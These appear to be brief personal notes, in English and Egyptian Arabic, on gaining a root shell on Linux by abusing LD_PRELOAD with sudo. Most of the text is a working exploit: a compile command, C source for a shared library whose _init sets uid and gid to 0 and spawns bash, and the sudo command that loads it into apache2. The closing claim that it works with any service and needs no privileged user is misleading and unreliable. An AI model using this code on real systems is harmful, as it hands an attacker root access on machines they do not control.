LD_PRELOAD




gcc -fPIC -shared -o malicious.so malicious.c -nostartfiles
# fPIC -> allow this file can be execute on any loction of ram
-nostartfiles: معناه "ما تحطليش ملفات البداية الافتراضية" (زي اللي بتحتوي على main() أو تهيئة البيئة)، وده لأن الملف مش هيتنفذ لوحده، هو مجرد مكتبة هتشتغل من خلال برنامج تاني.
// this a malicious file
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}sudo LD_PRELOAD=/home/user/malicious.so apache2
#and u can use it with any service dosen't need privilege user